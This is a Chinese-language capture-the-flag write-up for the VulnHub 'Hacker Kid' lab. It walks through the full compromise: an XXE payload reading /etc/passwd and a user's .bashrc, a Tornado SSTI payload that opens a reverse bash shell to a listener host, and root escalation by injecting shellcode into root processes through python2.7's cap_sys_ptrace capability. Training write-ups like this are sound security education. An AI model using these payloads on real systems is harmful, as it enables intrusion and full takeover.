vulnhub靶场之HACKER KID: 1.0.1

时间:2023-01-05 09:06:50

准备:

攻击机:虚拟机kali、本机win10。

靶机:Hacker kid: 1.0.1,下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova,下载后直接vbox打开即可。

知识点:xxe漏洞、dns解析、ssti漏洞、cap_sys_ptrace+ep进程注入提权。

vulnhub靶场之HACKER KID: 1.0.1

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.5.0/24,获得靶机地址:192.168.5.240。

vulnhub靶场之HACKER KID: 1.0.1

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.240,显示开放了53、80、9999端口,开启了http服务。

vulnhub靶场之HACKER KID: 1.0.1

web服务-信息收集:

打开web界面,提示信息告诉我们使用dig(域名查询工具)去继续挖掘。

vulnhub靶场之HACKER KID: 1.0.1

在其源代码信息中看到提示信息:Use a GET parameter page_no to view pages,告诉我们使用page_no参数来访问当前页面。

vulnhub靶场之HACKER KID: 1.0.1

使用page_no(根据参数名猜测参数应该是页数)参数访问当前页面:http://192.168.5.240/?page_no=1,获得返回提示信息。使用bp得爆破模块当page_no=21时,获得提示信息,告诉我们一个域名:hackers.blackhat.local。

vulnhub靶场之HACKER KID: 1.0.1

vulnhub靶场之HACKER KID: 1.0.1

结合刚才让我们使用dig继续挖掘得信息,这里配合域名:hackers.blackhat.local进行挖掘,命令:dig hackers.blackhat.local @192.168.5.240,发现新的域名:hackerkid.blackhat.local。

vulnhub靶场之HACKER KID: 1.0.1

在本机和kali中配置下dns解析:

win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件进行配置,配置信息如下。

192.168.5.240 hackers.blackhat.local
192.168.5.240 blackhat.local
192.168.5.240 hackerkid.blackhat.local

vulnhub靶场之HACKER KID: 1.0.1

xxe漏洞:

配置完成后访问:http://hackerkid.blackhat.local/出现一个注册界面,但是注册时一直显示邮箱存在问题。

vulnhub靶场之HACKER KID: 1.0.1

使用bp进行抓包分析,发现数据是以xml格式发送得数据,那猜测这里可能存在xxe注入,测试xxe注入读取下/etc/passwd文件,发现账户名:saket。

<!DOCTYPE llw [
<!ENTITY file SYSTEM  "file:///etc/passwd">
]>

vulnhub靶场之HACKER KID: 1.0.1

尝试读取下当前用户下得其他文件,命令:php://filter/convert.base64-encode/resource=/home/saket/.bashrc,成功获取到.bashc文件信息,对返回的信息进行解密,获得一组账户和密码信息:admin/Saket!#$%@!!。

vulnhub靶场之HACKER KID: 1.0.1

vulnhub靶场之HACKER KID: 1.0.1

ssti漏洞:

使用获得账户名和信息在:http://192.168.5.240:9999/进行登录,但是:admin/Saket!#$%@!!登录失败,然后尝试了下/etc/passwd文件中发现得saket账户进行登录,登录成功。

vulnhub靶场之HACKER KID: 1.0.1

提示信息告诉我们需要告诉他我们得名字,尝试输入参数?name=saket,结果返回hello saket。

vulnhub靶场之HACKER KID: 1.0.1

结合nmap扫描出来的信息知道这里是tornado框架,因此猜测这里可能存在ssti注入,测试:192.168.5.240:9999/?name={{3*3}},代码被执行,因此这里存在ssti注入漏洞。

vulnhub靶场之HACKER KID: 1.0.1

获取shell:

利用ssti注入反弹shell,因为这里项目搞完去了下一个地方,换了酒店,所以ip地址发生了改变,命令如下:

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/172.18.8.120/6688 0>&1"')}}

url编码后:
%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F172%2E18%2E8%2E120%2F6688+0%3E%261%22%27%29%7D%7D

vulnhub靶场之HACKER KID: 1.0.1

提权:

通过命令:find / -perm -4000 -type f 2>/dev/null,来查找下可以用来提权的信息,发现了/usr/lib/policykit-1/polkit-agent-helper-1,当时利用polickit的两个漏洞进行提权均是失败,前面文章有说过这两个漏洞。

vulnhub靶场之HACKER KID: 1.0.1

vulnhub靶场之HACKER KID: 1.0.1

上传LinEnum.sh脚本进行信息收集,脚本:https://pan.baidu.com/s/1fkL1bN0xDw0r5xb3a62qCQ,提取码:upfn,在收集的信息中发现在历史命令中利用python2.7执行力一个脚本,然后使用nc开启了一个端口监听,注意这里执行的命令,后面是关键。

vulnhub靶场之HACKER KID: 1.0.1

那就收集下和python2.7有关的信息,命令:./LinEnum.sh | grep python2.7,

vulnhub靶场之HACKER KID: 1.0.1

发现python2.7具有cap_sys_ptrace+ep权限,那我们可以利用python具备的cap_sys_ptrace+ep能力将root权限的进程注入python类型shellcode以实现权限提升。下面两种提权方式原理一样。

提权方式一:

利用历史命令中发现的执行命令信息,执行命令:ps -eaf | grep root来找寻root进程,然后使用命令:python2.7 exp.py 784来进行进程注入,然后在本地使用nc进行5600端口的连接,成功获得root权限。exp.py脚本信息:git clone https://gitee.com/Re1-zf/shell.git。

vulnhub靶场之HACKER KID: 1.0.1

vulnhub靶场之HACKER KID: 1.0.1

提权方式二:

编写脚本对root进程批量尝试。

for i in `ps -eaf|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 exp.py $i; done

vulnhub靶场之HACKER KID: 1.0.1

 然后查看下5600端口是否开启监听状态,然后在本地使用nc进行5600端口的连接,成功获得root权限。vulnhub靶场之HACKER KID: 1.0.1